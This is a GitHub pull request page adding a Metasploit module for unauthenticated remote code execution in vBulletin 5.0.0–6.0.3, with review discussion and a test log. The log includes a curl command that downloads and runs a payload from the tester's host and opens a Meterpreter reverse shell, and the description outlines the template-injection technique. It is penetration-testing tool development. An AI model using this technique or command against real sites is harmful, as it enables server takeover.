-
Notifications
You must be signed in to change notification settings - Fork 14.7k
vBulletin replaceAdTemplate Remote Code Execution #20235
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
vBulletin replaceAdTemplate Remote Code Execution #20235
Conversation
beaf745 to
1f6dd34
Compare
modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
Outdated
Show resolved
Hide resolved
Co-authored-by: Julien Voisin <[email protected]>
Co-authored-by: Julien Voisin <[email protected]>
…template_rce.md Co-authored-by: Julien Voisin <[email protected]>
…template_rce.md Co-authored-by: Julien Voisin <[email protected]>
…template_rce.md Co-authored-by: Julien Voisin <[email protected]>
aaa38b3 to
427b929
Compare
427b929 to
6644bfa
Compare
|
@Chocapikk @jvoisin just for the records: the affected versions should be all 5.x and early 6.x versions before 6.0.4. So, it's not just 5.1.0-6.0.3, but 5.0.0-6.0.3. |
|
@Chocapikk Furthermore, I'd also suggest to revisit the
Simple and more efficient than relying on versions matching, IMHO. |
|
Hi @EgidioRomano , Thanks for the suggestions, I'll take this into consideration, the goal being that the check function is as less intrusive as possible, but yes, I see what you mean, it's also a valid solution |
|
@Chocapikk one more thing: furthermore, relying on versions matching could provide false positives... For instance, I guess most of the vBulletin 5.x websites out there are using the latest 5.7.5 version, but the question is that some (most?) of those websites have likely applied security patches, so they're not vulnerable... Even if your current |
|
@EgidioRomano Complimenti 🇮🇹 invece di delegare a version matching si può tentare un approccio leggermente più aggressivo ma comunque innoquo. Si forza il target ad eseguire qualcosa come |
|
🇮🇹 @Admin9961 Grazie! Si, anche il tuo metodo può funzionare... Ma come dice anche @Chocapikk, l'obiettivo è rendere la funzione 🇬🇧 @Admin9961 Thanks! Yeah, your method might work too... But as @Chocapikk also says, the goal is to make the |
Yes this is less aggressive, I've actually missed that method. It's very optimal, implement that please @Chocapikk |
|
Hey @Admin9961 , I'll do it. Just not right away. I've been working too hard these past few days, but yes, I'll use this method. Thanks for the feedback, guys! |
e0031c9 to
2b1fa02
Compare
346e672 to
c84237e
Compare
771554e to
717b995
Compare
717b995 to
854d235
Compare
| end | ||
|
|
||
| def check | ||
| inject_and_trigger(:check) ? CheckCode::Appears : CheckCode::Safe |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should this be vulnerable, since we're performing the exploit?
modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Outdated
Show resolved
Hide resolved
| 'vars_post' => render_vars | ||
| ) | ||
|
|
||
| if mode == :check |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe also explicitly use false.
Yes, nil will be falsey, but in this case, we can just return the clearer value.
0f22fe4 to
33439fc
Compare
|
Hi @Chocapikk , I have trouble finding the package you provided in email - would you mind sharing it in message on Slack? |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think we are good to go here.
msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run
[*] Command to run on remote host: curl -so ./GmSIlhLjXN http://192.168.3.10:8080/cW8JgND_bGlJIBu4XLyrUg;chmod +x ./GmSIlhLjXN;./GmSIlhLjXN&
[*] Fetch handler listening on 192.168.3.10:8080
[*] HTTP server started
[*] Adding resource /cW8JgND_bGlJIBu4XLyrUg
[*] Started reverse TCP handler on 192.168.3.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Starting vulnerability check on 127.0.0.1:8080/
[*] Generating random marker and condition for mode check
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=Shtwv)
[*] Injection response: HTTP 200
[+] Marker found in injection response body
[+] The target is vulnerable.
[*] Generating random marker and condition for mode exploit
[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=JlxkB)
[*] Client 10.5.134.150 requested /cW8JgND_bGlJIBu4XLyrUg
[*] Sending payload to 10.5.134.150 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 10.5.134.150
[*] Meterpreter session 1 opened (192.168.3.10:4444 -> 10.5.134.150:33396) at 2025-06-19 08:11:50 -0400
meterpreter > sysinfo
Computer : 172.18.0.3
OS : Debian 12.11 (Linux 6.8.0-1029-azure)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: www-data
meterpreter >
Release NotesThis adds an unauthenticated RCE module which exploits a flaw in vBulletin 5.0.0–6.0.3 on PHP 8.1+ by abusing the |
Hello Metasploit Team,
This PR introduces the unauthenticated RCE module
exploit/multi/http/vbulletin_replace_ad_template_rce. It exploits a flaw in vBulletin 5.0.0–6.0.3 on PHP 8.1+ by abusing thereplaceAdTemplateAJAX endpoint to inject a<vb:if>template that executes"system"("base64_decode"($_POST[<param>])), then triggers it viaajax/render/ad_<location>. No CVE has been assigned for this issue; it was publicly documented by Egidio Romano (EgiX) at Karma(In)Security: https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce.cc: @EgidioRomano
I've provided a vBulletin 6.0.1 package to the msfdev team by email (Please check, because I think the email has been blocked as a “security issue”) for private testing.
Verification
After installing vBulletin as documented, run:
Verify a Meterpreter session is established as the webserver user.
The module's documentation covers additional details on setup and usage.
Thanks for reviewing!